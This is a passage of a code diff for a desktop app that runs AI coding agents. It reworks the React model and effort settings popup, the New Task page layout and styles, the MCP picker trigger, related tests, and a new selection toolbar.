@@ -287,91 +327,115 @@ function ModelPicker({
aria-haspopup="dialog"
aria-expanded={open}
title={`${tx(model.name)}: ${modelName}${summary ? ` · ${summary}` : ""}`}
onClick={() => setOpen((v) => !v)}
onClick={() => {
setOpen((prev) => {
if (prev) setPage("list");
return !prev;
});
}}
>
<span className={styles.chipValue}>{modelName}</span>
{contextLabel && <span className={styles.chipDetail}>{contextLabel}</span>}
{chipBadgeText && (
<span className={styles.chipDetail}>
{sizerCandidates.map((text) => (
<span
key={text}
className={text === chipBadgeText ? undefined : styles.chipSizer}
aria-hidden={text !== chipBadgeText}
>
{text}
</span>
))}
</span>
)}
<Icon name="chevron-down" size={14} className={styles.chipChevron} />
</button>
<Popup
open={open}
anchor={anchor}
onClose={() => setOpen(false)}
aria-label={tx("Model")}
onClose={closePopup}
aria-label={tx("Model & effort settings")}
className={styles.modelEffortPopup}
>
{unavailable && (
<p className={styles.catalogError} role="alert">
<T>Choose another model before starting.</T>
</p>
)}
{(contextOption || otherModelConfigs.length > 0) && (
<div className={styles.quickSettings}>
{contextOption && (
<div className={styles.quickRow}>
<span className={styles.quickLabel}>
<T>Context Size</T>
{page === "detail" && selectedModel ? (
<ModelDetailView
modelEntry={selectedModel}
effort={effort}
effortValue={effortValue}
contextOption={contextOption}
contextValue={contextValue}
otherModelConfigs={otherModelConfigs}
valueOf={valueOf}
pinned={pinnedModels.includes(selectedModel.value)}
onBack={() => setPage("list")}
onTogglePin={() => togglePinnedModel(selectedModel.value)}
onChange={onChange}
/>
) : (
<>
{unavailable && (
<p className={styles.catalogError} role="alert">
<T>Choose another model before starting.</T>
</p>
)}
{canConfigureActive && selectedModel && (
<button
type="button"
className={styles.activeModelBar}
aria-label={tx("Configure model")}
onClick={() => setPage("detail")}
>
<span className={styles.activeModelName}>{modelName}</span>
<CostBadge category={selectedModel.costCategory} />
{chipBadgeText && <span className={styles.activeModelMeta}>{chipBadgeText}</span>}
<span className={styles.activeModelGear}>
<Icon name="sliders" size={13} />
<Icon name="chevron-right" size={12} />
</span>
<SegmentedControl
ariaLabel={tx("Context Size")}
options={contextOption.values.map((v) => ({
value: v.value,
label: v.name,
description: v.description ?? undefined,
}))}
value={contextValue ?? contextOption.values[0]!.value}
onChange={(v) => onChange(contextOption.id, v)}
/>
</div>
</button>
)}
{otherModelConfigs.map((o) => (
<div key={o.id} className={styles.quickRow}>
<span className={styles.quickLabel} title={o.description ?? undefined}>
{tx(o.name)}
</span>
<div key={o.id} className={styles.modeFooter}>
<span title={o.description ?? undefined}>{tx(o.name)}</span>
<ConfigPicker option={o} value={valueOf(o)} onChange={onChange} framed />
</div>
))}
</div>
{model.values.length > 0 || !modelRefresh ? (
<SelectListbox
aria-label={tx(model.name)}
value={modelValue}
options={configPickerOptions(model, pinnedModels)}
searchable
listClassName={styles.modelList}
onChoose={(v) => onChange(model.id, v)}
renderAction={(opt) => {
const raw = model.values.find((v) => v.value === opt.value);
if (!raw) return null;
const showRowBadge = !!raw.costCategory && !raw.description;
return (
<>
{showRowBadge && <CostBadge category={raw.costCategory} />}
<button
type="button"
className={styles.modelRowConfigure}
aria-label={rawTx`Configure ${opt.label}`}
title={rawTx`Configure ${opt.label}`}
onClick={() => openDetailFor(opt.value)}
>
<Icon name="sliders" size={12} />
</button>
</>
);
}}
/>
) : (
<p className={styles.catalogNote} role="status">
{modelRefresh?.refreshing ? <T>Loading models…</T> : <T>No models reported by this agent.</T>}
</p>
)}
{modelRefresh && <ModelRefreshFooter key={modelRefresh.retryAtMs} {...modelRefresh} />}
</>
)}
{model.values.length > 0 || !modelRefresh ? (
<SelectListbox
aria-label={tx(model.name)}
value={modelValue}
options={configPickerOptions(model, pinnedModels, false)}
searchable
listClassName={styles.modelList}
onChoose={(v) => {
onChange(model.id, v);
setOpen(false);
}}
renderAction={(opt) => {
const raw = model.values.find((v) => v.value === opt.value);
if (!raw) return null;
const pinned = pinnedModels.includes(raw.value);
return (
<>
<CostBadge category={raw.costCategory} />
<button
type="button"
className={clsx(styles.modelRowConfigure, pinned && styles.pinnedButton)}
aria-label={pinned ? tx("Unpin model") : tx("Pin model")}
aria-pressed={pinned}
title={pinned ? tx("Unpin model") : tx("Pin model")}
onClick={() => togglePinnedModel(raw.value)}
>
<Icon name="pin" size={12} />
</button>
</>
);
}}
/>
) : (
<p className={styles.catalogNote} role="status">
{modelRefresh?.refreshing ? <T>Loading models…</T> : <T>No models reported by this agent.</T>}
</p>
)}
{modelRefresh && <ModelRefreshFooter key={modelRefresh.retryAtMs} {...modelRefresh} />}
</Popup>
</>
);
@@ -429,6 +493,258 @@ function CostBadge({ category }: { category: string | null | undefined }) {
);
}
/** Page 2: per-model configuration view (segmented Effort, optional Context Size, Reset, Pin, and cost info). */
function ModelDetailView({
modelEntry,
effort,
effortValue,
contextOption,
contextValue,
otherModelConfigs,
valueOf,
pinned,
onBack,
onTogglePin,
onChange,
}: {
modelEntry: AgentConfigOption["values"][number];
effort?: AgentConfigOption;
effortValue: string | null;
contextOption?: AgentConfigOption;
contextValue: string | null;
otherModelConfigs: AgentConfigOption[];
valueOf: (o: AgentConfigOption) => string | null;
pinned: boolean;
onBack: () => void;
onTogglePin: () => void;
onChange: (option: string, value: string) => void;
}) {
const tx = useTx();
const [pricingOpen, setPricingOpen] = useState(true);
const defaultEffort = effort ? (effort.defaultValue ?? effort.current) : null;
const defaultContext = contextOption ? (contextOption.defaultValue ?? contextOption.current) : null;
const effortAtDefault = !effort || !defaultEffort || effortValue === defaultEffort;
const contextAtDefault = !contextOption || !defaultContext || contextValue === defaultContext;
const othersAtDefault = otherModelConfigs.every((o) => {
const def = o.defaultValue ?? o.current;
return !def || valueOf(o) === def;
});
const atDefaults = effortAtDefault && contextAtDefault && othersAtDefault;
const handleReset = () => {
if (effort && defaultEffort && effortValue !== defaultEffort) {
onChange(effort.id, defaultEffort);
}
if (contextOption && defaultContext && contextValue !== defaultContext) {
onChange(contextOption.id, defaultContext);
}
for (const o of otherModelConfigs) {
const def = o.defaultValue ?? o.current;
if (def && valueOf(o) !== def) {
onChange(o.id, def);
}
}
};
const compactEffort = (effort?.values.length ?? 0) >= 5;
const hasCostCard = !!(modelEntry.costCategory || modelEntry.usageMultiplier);
return (
<div className={styles.modelDetail}>
<div className={styles.modelDetailHeader}>
<IconButton
icon="arrow-left"
size="small"
aria-label={tx("Back to models")}
title={tx("Back to models")}
onClick={onBack}
/>
<span className={styles.modelDetailTitle} title={modelEntry.name}>
{modelEntry.name}
</span>
<div className={styles.modelDetailActions}>
<IconButton
icon="undo"
size="small"
disabled={atDefaults}
aria-label={tx("Reset to defaults")}
title={tx("Reset to defaults")}
onClick={handleReset}
/>
<IconButton
icon="pin"
size="small"
aria-label={pinned ? tx("Unpin model") : tx("Pin model")}
title={pinned ? tx("Unpin model") : tx("Pin model")}
aria-pressed={pinned}
className={clsx(pinned && styles.pinnedButton)}
onClick={onTogglePin}
/>
</div>
</div>
{effort && effort.values.length > 0 && (
<div className={styles.detailSection}>
<div className={styles.detailSectionLabel}>
<T>Effort Level</T>
</div>
<SegmentedControl
ariaLabel={tx(effort.name)}
options={effort.values.map((v) => ({
value: v.value,
label: compactEffort && v.value === "xhigh" ? tx("XHigh") : v.name,
description: v.description ?? undefined,
}))}
value={effortValue ?? effort.values[0]!.value}
onChange={(v) => onChange(effort.id, v)}
/>
</div>
)}
{contextOption && contextOption.values.length > 0 && (
<div className={styles.detailSection}>
<div className={styles.detailSectionLabel}>
<T>Context Size</T>
</div>
<SegmentedControl
ariaLabel={tx("Context Size")}
options={contextOption.values.map((v) => ({
value: v.value,
label: v.name,
description: v.description ?? undefined,
}))}
value={contextValue ?? contextOption.values[0]!.value}
onChange={(v) => onChange(contextOption.id, v)}
/>
</div>
)}
{otherModelConfigs.map((o) => (
<div key={o.id} className={styles.detailRow}>
<span className={styles.detailSectionLabel} title={o.description ?? undefined}>
{tx(o.name)}
</span>
<ConfigPicker option={o} value={valueOf(o)} onChange={onChange} framed />
</div>
))}
{modelEntry.pricing ? (
<PricingDetailsCard
pricing={modelEntry.pricing}
activeTier={contextValue}
open={pricingOpen}
onToggle={() => setPricingOpen((v) => !v)}
/>
) : (
hasCostCard && (
<div className={styles.costCard}>
<div className={styles.costCardHeader}>
<span className={styles.costCardTitle}>
<T>Pricing details</T>
</span>
<CostBadge category={modelEntry.costCategory} />
</div>
{modelEntry.usageMultiplier && (
<div className={styles.costCardRow}>
<span>
<T>Multiplier</T>
</span>
<span className={styles.costCardValue}>{modelEntry.usageMultiplier}</span>
</div>
)}
</div>
)
)}
</div>
);
}
/** Collapsible per-tier token pricing breakdown card (`Credits per 1M tokens`). */
function PricingDetailsCard({
pricing,
activeTier,
open,
onToggle,
}: {
pricing: AgentModelPricing;
activeTier: string | null;
open: boolean;
onToggle: () => void;
}) {
const tiers = pricing.tiers ?? {};
const tierData =
(activeTier ? tiers[activeTier] : undefined) ?? tiers["default"] ?? tiers["long_context"] ?? undefined;
const hasRates = tierData && (tierData.input != null || tierData.output != null);
if (!hasRates && pricing.multiplier == null && !pricing.costTier) return null;
return (
<div className={styles.pricingCard}>
<button type="button" className={styles.pricingHeader} aria-expanded={open} onClick={onToggle}>
<Icon name={open ? "chevron-down" : "chevron-right"} size={12} className={styles.pricingChevron} />
<span className={styles.pricingTitle}>
<T>Pricing details</T>
</span>
{pricing.costTier ? (
<CostBadge category={pricing.costTier} />
) : (
pricing.multiplier != null && (
<span className={styles.costBadge}>{`${formatCreditRate(pricing.multiplier)}x`}</span>
)
)}
</button>
{open && (
<div className={styles.pricingBody}>
{hasRates && tierData ? (
<>
<div className={styles.pricingSubhead}>
<T>Credits per 1M tokens</T>
</div>
<div className={styles.costCardRow}>
<span>
<T>Input</T>
</span>
<span className={styles.costCardValue}>{formatCreditRate(tierData.input)}</span>
</div>
<div className={styles.costCardRow}>
<span>
<T>Output</T>
</span>
<span className={styles.costCardValue}>{formatCreditRate(tierData.output)}</span>
</div>
{tierData.cacheRead != null && (
<div className={styles.costCardRow}>
<span>
<T>Cache Read</T>
</span>
<span className={styles.costCardValue}>{formatCreditRate(tierData.cacheRead)}</span>
</div>
)}
{tierData.cacheWrite != null && (
<div className={styles.costCardRow}>
<span>
<T>Cache Write</T>
</span>
<span className={styles.costCardValue}>{formatCreditRate(tierData.cacheWrite)}</span>
</div>
)}
</>
) : (
pricing.multiplier != null && (
<div className={styles.costCardRow}>
<span>
<T>Multiplier</T>
</span>
<span className={styles.costCardValue}>{`${formatCreditRate(pricing.multiplier)}x`}</span>
</div>
)
)}
</div>
)}
</div>
);
}
/** Accessible segmented pill selector (`role="radiogroup"`) with Left/Right arrow navigation. */
function SegmentedControl({
ariaLabel,
+39 -55
Переглянути файл
@@ -14,8 +14,8 @@
color: var(--fg);
}
.inner {
/* A compact block in the middle of the page: narrower than a session's conversation. */
width: min(680px, 100%);
/* The same width as a running session's composer and conversation. */
width: min(var(--agent-conversation-width), 100%);
display: flex;
flex-direction: column;
gap: var(--space-2);
@@ -24,58 +24,31 @@
width: 100%;
}
.heading {
margin: 0 0 14px;
font-size: calc(22px + var(--agent-font-zoom, 0px));
font-weight: 500;
letter-spacing: -0.01em;
margin: 0 0 10px;
font-size: calc(18px + var(--agent-font-zoom, 0px));
font-weight: 600;
text-align: center;
color: var(--fg-strong);
text-wrap: balance;
}
/* A box to write in, not a search bar: room for a few lines before it grows. */
.composer :global(.cm-content) {
min-height: calc(4.5em + 12px);
}
/* Under the box: one quiet group, the project, checkout and branch side by side. */
/* Under the box: the project and where the agent works. */
.where {
display: flex;
flex-wrap: wrap;
align-items: center;
gap: var(--space-1);
min-width: 0;
padding: 0 6px;
color: var(--fg-subtle);
/* The chips' own padding spaces them. */
gap: var(--space-0-5);
padding: 0 2px;
font-size: var(--fs-small);
}
.where > button {
flex: 0 1 auto;
/* The current branch, read-only: same height and colour as the pickers beside it. */
.branch {
min-width: 0;
color: inherit;
font-size: inherit;
}
.project {
display: inline-flex;
align-items: center;
gap: var(--space-1-5);
min-width: 0;
height: var(--h-control);
padding: 0 4px;
}
.label {
min-width: 0;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
}
.projectPicker {
max-width: 40%;
}
/* The agent shows as its icon only. */
.agentPicker {
display: flex;
flex: none;
/* The row's own gaps space "on" and "from"; the note's padding is for the lines below. */
.where .note {
padding: 0;
}
.note,
@@ -95,20 +68,31 @@
justify-content: flex-end;
padding: 16px 12px 12px;
}
.dockedIntro {
flex: 1;
display: flex;
align-items: center;
justify-content: center;
width: 100%;
min-height: 0;
padding-bottom: 8vh;
.docked .inner {
gap: var(--space-2);
}
.docked .heading {
margin: 0;
font-size: calc(15px + var(--agent-font-zoom, 0px));
font-weight: 500;
color: var(--fg-muted);
.docked .where {
flex-wrap: nowrap;
min-width: 0;
}
.docked .projectPicker,
.docked .projectChip {
flex: 0 1 auto;
min-width: 0;
max-width: 30%;
}
.docked .branch,
.docked .basePicker {
order: 1;
flex: 0 1 auto;
min-width: 0;
}
.docked .isolation {
order: 2;
flex: 0 1 auto;
min-width: 0;
max-width: 45%;
margin-left: auto;
}
.notes {
+16 -22
Переглянути файл
@@ -77,8 +77,6 @@ beforeEach(() => {
updateComposer(HOME, { text: "Check the project" });
});
const effortButton = () => screen.getByRole("button", { name: "Reasoning" });
async function chooseModel(model: string) {
fireEvent.click(screen.getByRole("button", { name: "Model" }));
fireEvent.click(screen.getByRole("option", { name: model }));
@@ -87,16 +85,19 @@ async function chooseModel(model: string) {
it("switches model-specific levels and restores each draft effort before starting", async () => {
render(<HomeEditor />);
expect(screen.getByRole("button", { name: "Model" })).toHaveTextContent("big");
expect(effortButton()).toHaveTextContent("high");
expect(screen.getByRole("button", { name: "Model" })).toHaveTextContent("bighigh");
await chooseModel("small");
expect(effortButton()).toHaveTextContent("minimal");
fireEvent.click(effortButton());
fireEvent.click(screen.getByRole("option", { name: "medium" }));
fireEvent.click(screen.getByRole("button", { name: "Model" }));
fireEvent.click(screen.getByRole("button", { name: "Configure model" }));
const group = screen.getByRole("radiogroup", { name: "Reasoning" });
expect(group).toBeVisible();
expect(screen.getByRole("radio", { name: "minimal" })).toHaveAttribute("aria-checked", "true");
fireEvent.click(screen.getByRole("radio", { name: "medium" }));
fireEvent.keyDown(document, { key: "Escape" });
await chooseModel("big");
expect(effortButton()).toHaveTextContent("high");
expect(screen.getByRole("button", { name: "Model" })).toHaveTextContent("bighigh");
await chooseModel("small");
expect(effortButton()).toHaveTextContent("medium");
expect(screen.getByRole("button", { name: "Model" })).toHaveTextContent("smallmedium");
fireEvent.click(screen.getByRole("button", { name: "Start" }));
await waitFor(() => expect(backend.create).toHaveBeenCalled());
expect(backend.create.mock.calls[0]![0].config).toEqual([
@@ -124,11 +125,9 @@ it("uses GitHub Copilot's own defaults and preserves per-model context tier and
};
useAgents.setState({ providers: [copilot], draft: savedDraft({ provider: "copilot", config: {} }) });
render(<HomeEditor />);
expect(screen.getByRole("button", { name: "Model" })).toHaveTextContent("gemini-4-carbondefault");
expect(effortButton()).toHaveTextContent("medium");
expect(screen.getByRole("button", { name: "Model" })).toHaveTextContent("gemini-4-carbonmedium · default");
await chooseModel("gpt-5.6-sol");
expect(screen.getByRole("button", { name: "Model" })).toHaveTextContent("gpt-5.6-soldefault");
expect(effortButton()).toHaveTextContent("medium");
expect(screen.getByRole("button", { name: "Model" })).toHaveTextContent("gpt-5.6-solmedium · default");
fireEvent.click(screen.getByRole("button", { name: "Start" }));
await waitFor(() => expect(backend.create).toHaveBeenCalled());
expect(backend.create.mock.calls[0]![0].config).toEqual([
@@ -162,7 +161,7 @@ it("ignores old provider-wide effort choices and refreshes unsupported per-model
draft: savedDraft({ provider: "fake", config: { effort: "low" }, thoughtLevels: { big: { effort: "removed" } } }),
});
render(<HomeEditor />);
expect(effortButton()).toHaveTextContent("high");
expect(screen.getByRole("button", { name: "Model" })).toHaveTextContent("bighigh");
fireEvent.click(screen.getByRole("button", { name: "Start" }));
await waitFor(() => expect(backend.create).toHaveBeenCalled());
expect(backend.create.mock.calls[0]![0].config).toContainEqual({ id: "effort", value: "high" });
@@ -209,10 +208,10 @@ it("refreshes the displayed agent version after a CLI upgrade when the window re
return ok({ provider, name: "omp", version: cached, protocol: "ACP v1", error: null });
});
render(<HomeEditor />);
await waitFor(() => expect(agentTooltip()).toMatch(/ 18\.20\.0$/));
await screen.findByText("omp · 18.20.0 · ACP v1");
installed = "18.20.2";
fireEvent(window, new Event("focus"));
await waitFor(() => expect(agentTooltip()).toMatch(/ 18\.20\.2$/));
await screen.findByText("omp · 18.20.2 · ACP v1");
});
it("does not reuse a previous page's cached agent version when opened again", async () => {
@@ -220,10 +219,5 @@ it("does not reuse a previous page's cached agent version when opened again", as
ok({ provider, name: "omp", version: refresh ? "18.20.2" : "18.20.0", protocol: "ACP v1", error: null }),
);
render(<HomeEditor />);
await waitFor(() => expect(agentTooltip()).toMatch(/ 18\.20\.2$/));
await screen.findByText("omp · 18.20.2 · ACP v1");
});
/** The agent picker shows its icon; the name and version are in its tooltip. */
function agentTooltip() {
return screen.getByRole("button", { name: "Agent" }).parentElement?.getAttribute("data-tooltip");
}
+98 -104
Переглянути файл
@@ -1,4 +1,4 @@
/** New Task page: one prompt box with the agent and its settings; where it works in a quiet line under it. */
/** New Task page: one prompt box with the agent and its settings; where it works under it. */
import clsx from "clsx";
import { useEffect, useRef, useState } from "react";
import type { AgentProbe, Branch } from "@/bindings";
@@ -6,7 +6,7 @@ import { executeAction } from "@/platform/actions";
import { call, commands } from "@/platform/ipc";
import { useTx, useTxTemplate } from "@/platform/i18n";
import { basename, useProject } from "@/platform/project";
import { Icon, Select, T, tooltipAttrs, type SelectOption } from "@/ui";
import { Chip, Select, T, type SelectOption } from "@/ui";
import { defaultTaskProject } from "./project";
import { maybeEditorService, useEditorShown, type EditorInput } from "@/workbench/contributions";
import { Composer } from "./Composer";
@@ -60,8 +60,6 @@ export function HomeEditor({ docked = false, input }: { docked?: boolean; input?
const [error, setError] = useState<string | null>(null);
const [starting, setStarting] = useState(false);
const [mcpOpenRequest, setMcpOpenRequest] = useState(0);
// Kept mounted while another tab shows: what changed meanwhile is read again when it shows.
const shown = useEditorShown();
// Agents installed in Settings (its own window) show up when this one is back in front.
useEffect(() => {
@@ -72,7 +70,6 @@ export function HomeEditor({ docked = false, input }: { docked?: boolean; input?
}, []);
useEffect(() => {
if (!shown) return;
let live = true;
const repo = project?.workspace ? root : null;
void Promise.all([call(commands.vcsBranchInfo(repo)), call(commands.vcsBranches(repo))])
@@ -86,9 +83,10 @@ export function HomeEditor({ docked = false, input }: { docked?: boolean; input?
return () => {
live = false;
};
}, [root, project?.workspace, shown]);
}, [root, project?.workspace]);
const provider = providers.find((p) => p.id === draft.provider) ?? providers[0];
const shown = useEditorShown();
const probe = useProbe(provider?.installed ? provider.id : null, provider?.command, shown);
const catalog = useAgents((s) => s.modelCatalogs.get(provider?.id ?? ""));
const requestingModels = useAgents((s) => s.modelRequests.has(provider?.id ?? ""));
@@ -124,10 +122,6 @@ export function HomeEditor({ docked = false, input }: { docked?: boolean; input?
!starting &&
(!project?.workspace || repoState?.root === root);
const openMcp = () => setMcpOpenRequest((n) => n + 1);
// The agent shows as its icon; its name and version are in the tooltip.
const agentTitle = [provider?.name ?? tx("Agent"), probe?.version].filter(Boolean).join(" ");
const start = () => {
if (!canStart) return;
setStarting(true);
@@ -143,25 +137,93 @@ export function HomeEditor({ docked = false, input }: { docked?: boolean; input?
className={clsx(styles.home, docked && styles.docked, fitWindowWidth && styles.fitWidth)}
style={zoomStyle}
>
{/* In the tool window the box sits at the bottom, under the question centred in the space above. */}
{docked && (
<div className={styles.dockedIntro}>
<h1 className={styles.heading}>
<T>What should the agent do?</T>
</h1>
</div>
)}
<div className={styles.inner}>
{!docked && (
<h1 className={styles.heading}>
<T>What should the agent do?</T>
</h1>
)}
{/* Above the box, like the running session's state line. */}
<div className={styles.where}>
{members.length > 1 ? (
<Select
variant="chip"
aria-label={tx("Project")}
className={styles.projectPicker}
value={root}
options={members.map((path) => ({
value: path,
label: basename(path),
detail: path,
icon: "folder",
}))}
onChange={(path) => {
setSelected(path);
updateDraft({ base: null });
}}
/>
) : projectLabel ? (
<Chip icon="folder" title={root} className={styles.projectChip}>
{projectLabel}
</Chip>
) : null}
{isGit && (
<Select
variant="chip"
aria-label="Isolation"
className={styles.isolation}
value={isolation}
options={[
{ value: "worktree", label: tx("New worktree"), icon: "branch", detail: tx("away from your changes") },
{
value: "local",
label: tx("Local checkout"),
icon: "folder",
detail: tx("edits your files directly"),
},
]}
onChange={(isolation) => updateDraft({ isolation, isolationChosen: true })}
/>
)}
{/* A folder that isn't a repository has no branch: the one Git found below it isn't where the agent runs. */}
{isolation === "local" && isGit && current && (
<>
{!docked && (
<span className={styles.note}>
<T>on</T>
</span>
)}
<Chip icon="branch" title={current} className={styles.branch}>
{current}
</Chip>
</>
)}
{isolation === "worktree" && branches.length > 0 && (
<>
{!docked && (
<span className={styles.note}>
<T>from</T>
</span>
)}
<Select
variant="chip"
aria-label="Base branch"
className={styles.basePicker}
value={base}
options={branches.map((b) => ({ value: b.name, label: b.name, icon: "branch" }))}
onChange={(b) => updateDraft({ base: b === current ? null : b })}
/>
</>
)}
</div>
<Composer
id={HOME}
className={docked ? undefined : styles.composer}
autoFocus={shown}
placeholder={docked ? "Describe a task…" : "Describe a task. @ for files, / for commands"}
autoFocus
placeholder={
docked
? "Describe a task…"
: "Describe a task for the agent. @ references a file or folder, / runs a command"
}
root={root}
projectRoot={root}
commands={agentCommands}
@@ -169,23 +231,19 @@ export function HomeEditor({ docked = false, input }: { docked?: boolean; input?
config={config}
onConfig={setDraftOption}
onSubmit={start}
onOpenMcp={openMcp}
onOpenMcp={() => setMcpOpenRequest((n) => n + 1)}
disabled={!canStart}
addMenu={provider ? [{ id: "mcp", label: "MCP Servers…", icon: "plugin", run: openMcp }] : undefined}
toolbar={
<>
<span className={styles.agentPicker} {...tooltipAttrs(agentTitle, undefined, true)}>
<Select
variant="ghost"
aria-label="Agent"
value={provider?.id ?? null}
options={providerOptions}
renderValue={(o) => (o?.icon ? <Icon name={o.icon} size={14} /> : <T>Agent</T>)}
onChange={(id) =>
id === ADD_AGENT ? void executeAction("agents.addAgent") : updateDraft({ provider: id, config: {} })
}
/>
</span>
<Select
variant="ghost"
aria-label="Agent"
value={provider?.id ?? null}
options={providerOptions}
onChange={(id) =>
id === ADD_AGENT ? void executeAction("agents.addAgent") : updateDraft({ provider: id, config: {} })
}
/>
<ConfigPickers
key={provider?.id}
config={config}
@@ -207,7 +265,6 @@ export function HomeEditor({ docked = false, input }: { docked?: boolean; input?
overrides={draft.mcpOverrides}
onChange={setDraftMcpOverrides}
openRequest={mcpOpenRequest}
hideTrigger
/>
)}
</>
@@ -221,71 +278,6 @@ export function HomeEditor({ docked = false, input }: { docked?: boolean; input?
/>
}
/>
{/* Under the box: where the agent works. Project and checkout on the left, the branch on the right. */}
<div className={styles.where}>
{members.length > 1 ? (
<Select
variant="ghost"
aria-label={tx("Project")}
className={styles.projectPicker}
value={root}
options={members.map((path) => ({
value: path,
label: basename(path),
detail: path,
icon: "folder",
}))}
onChange={(path) => {
setSelected(path);
updateDraft({ base: null });
}}
/>
) : projectLabel ? (
<span className={styles.project} title={root}>
<Icon name="folder" size={14} />
<span className={styles.label}>{projectLabel}</span>
</span>
) : null}
{isGit && (
<Select
variant="ghost"
aria-label="Isolation"
value={isolation}
options={[
{
value: "local",
label: tx("Local checkout"),
icon: "folder",
detail: tx("edits your files directly"),
},
{
value: "worktree",
label: tx("New worktree"),
icon: "branch",
detail: tx("away from your changes"),
},
]}
renderValue={(o) => (o?.value === "worktree" ? tx("Worktree") : tx("Local"))}
onChange={(isolation) => updateDraft({ isolation, isolationChosen: true })}
/>
)}
{/* A folder that isn't a repository has no branch: the one Git found below it isn't where the agent runs. */}
{isolation === "local" && isGit && current && (
<span className={styles.project} title={current}>
<Icon name="branch" size={14} />
<span className={styles.label}>{current}</span>
</span>
)}
{isolation === "worktree" && branches.length > 0 && (
<Select
variant="ghost"
aria-label="Base branch"
value={base}
options={branches.map((b) => ({ value: b.name, label: b.name, icon: "branch" }))}
onChange={(b) => updateDraft({ base: b === current ? null : b })}
/>
)}
</div>
{/* Notes under the box don't take part in centring, so the box stays put as they come and go. */}
<div className={styles.notes}>
{effortAnnouncement && (
@@ -298,9 +290,11 @@ export function HomeEditor({ docked = false, input }: { docked?: boolean; input?
<T>Choose another model before starting.</T>
</p>
)}
{probe?.error && (
<p className={styles.warning}>
{txTemplate(`${provider?.name ?? probe.provider} didn't start: ${probe.error}`)}
{probe && (!docked || probe.error) && (
<p className={probe.error ? styles.warning : styles.note}>
{probe.error
? txTemplate(`${provider?.name ?? probe.provider} didn't start: ${probe.error}`)
: [probe.name, probe.version, probe.protocol].filter(Boolean).join(" · ")}
</p>
)}
{(error || (provider && !provider.installed)) && (
-9
Переглянути файл
@@ -211,12 +211,3 @@
color: var(--fg-muted);
font-size: var(--fs-tiny);
}
/* The composer is the nearest positioned box: its bottom-right corner. */
.hiddenAnchor {
position: absolute;
right: 0;
bottom: 0;
width: 0;
height: 0;
}
+29 -40
Переглянути файл
@@ -34,8 +34,6 @@ export interface McpPickerProps {
busy?: boolean;
/** Bumped when `/mcp` is invoked from the composer to open this popover. */
openRequest?: number;
/** No button of its own: opened only through `openRequest`, above the composer. */
hideTrigger?: boolean;
/** Optional overrides for unit tests. */
backend?: McpBackend;
testData?: {
@@ -52,7 +50,6 @@ export function McpPicker({
disabled = false,
busy = false,
openRequest = 0,
hideTrigger = false,
backend = defaultMcpBackend,
testData,
}: McpPickerProps) {
@@ -70,10 +67,7 @@ export function McpPicker({
const [seenOpenRequest, setSeenOpenRequest] = useState(openRequest);
const [query, setQuery] = useState("");
const [importingKey, setImportingKey] = useState<string | null>(null);
const anchor = useRef<HTMLElement | null>(null);
const setAnchor = (el: HTMLElement | null) => {
anchor.current = el;
};
const anchor = useRef<HTMLButtonElement>(null);
if (openRequest !== seenOpenRequest) {
setSeenOpenRequest(openRequest);
@@ -140,43 +134,38 @@ export function McpPicker({
return (
<>
{hideTrigger ? (
// Pinned to the composer's bottom-right corner: the popover opens under the box, like its other pickers.
<span ref={setAnchor} className={styles.hiddenAnchor} aria-hidden />
) : (
<button
ref={setAnchor}
type="button"
disabled={disabled}
className={styles.trigger}
title={
resolved.overrideCount > 0
? formatMessage(tx("MCP servers ({active}/{total} active · {overrides} session overrides)"), {
active: resolved.activeCount,
total: resolved.totalCount,
overrides: resolved.overrideCount,
})
: formatMessage(tx("MCP servers ({active}/{total} active)"), {
active: resolved.activeCount,
total: resolved.totalCount,
})
}
aria-label={tx("MCP servers")}
aria-haspopup="dialog"
aria-expanded={open}
onClick={toggleOpen}
>
<Icon name="plugin" size={13} />
<span className={styles.triggerLabel}>MCP</span>
<span className={styles.triggerCount}>{countLabel}</span>
{resolved.overrideCount > 0 && <span className={styles.overrideDot} aria-hidden />}
</button>
)}
<button
ref={anchor}
type="button"
disabled={disabled}
className={styles.trigger}
title={
resolved.overrideCount > 0
? formatMessage(tx("MCP servers ({active}/{total} active · {overrides} session overrides)"), {
active: resolved.activeCount,
total: resolved.totalCount,
overrides: resolved.overrideCount,
})
: formatMessage(tx("MCP servers ({active}/{total} active)"), {
active: resolved.activeCount,
total: resolved.totalCount,
})
}
aria-label={tx("MCP servers")}
aria-haspopup="dialog"
aria-expanded={open}
onClick={toggleOpen}
>
<Icon name="plugin" size={13} />
<span className={styles.triggerLabel}>MCP</span>
<span className={styles.triggerCount}>{countLabel}</span>
{resolved.overrideCount > 0 && <span className={styles.overrideDot} aria-hidden />}
</button>
<Popup
open={open}
anchor={anchor}
placement={hideTrigger ? "bottom-end" : "top-start"}
placement="top-start"
offset={6}
onClose={() => {
setOpen(false);
+37
Переглянути файл
@@ -0,0 +1,37 @@
/* Over a conversation selection: quote it into the composer or fork a side conversation from it. */
.toolbar {
position: fixed;
z-index: 3;
display: flex;
padding: 2px;
border: 1px solid var(--border);
border-radius: var(--radius-control);
background: var(--bg-popup);
box-shadow: var(--shadow-popup);
opacity: 0;
pointer-events: none;
transition: opacity var(--dur-fast) var(--ease);
}
.visible {
opacity: 1;
pointer-events: auto;
}
.button {
height: var(--h-control-small);
padding: 0 var(--space-2);
border: 0;
border-radius: var(--radius-toolbar-button);
background: none;
color: var(--fg);
font-size: var(--fs-ui);
white-space: nowrap;
cursor: pointer;
}
.button:hover {
background: var(--bg-hover);
}
@media (prefers-reduced-motion: reduce) {
.toolbar {
transition: none;
}
}
+134
Переглянути файл
@@ -0,0 +1,134 @@
import { fireEvent, render } from "@testing-library/react";
import { afterEach, beforeEach, expect, it, vi } from "vitest";
import type { AgentTask } from "@/bindings";
const actions = vi.hoisted(() => ({ execute: vi.fn() }));
vi.mock("@/platform/actions", () => ({ executeAction: actions.execute }));
import { SelectionToolbar } from "./SelectionToolbar";
const task: AgentTask = {
id: "t1",
title: "Task",
provider: "codex",
status: "ready",
isolation: "local",
model: null,
cwd: "/repo",
branch: null,
base: null,
baseCommit: null,
error: null,
createdMs: 0,
updatedMs: 0,
config: [],
commands: [],
usage: null,
queue: [],
capabilities: { fork: true, rollback: true, steer: true, images: true, readOnly: false },
};
interface SetupOptions {
subagent?: boolean;
task?: AgentTask;
}
/** Mounts the toolbar over a stream holding one row of selectable text. */
function setup({ subagent = false, task: agent = task }: SetupOptions) {
const stream = document.createElement("div");
stream.setAttribute("data-selection-stream", "");
const row = document.createElement("div");
const text = document.createTextNode("Selected text");
row.appendChild(text);
stream.appendChild(row);
document.body.appendChild(stream);
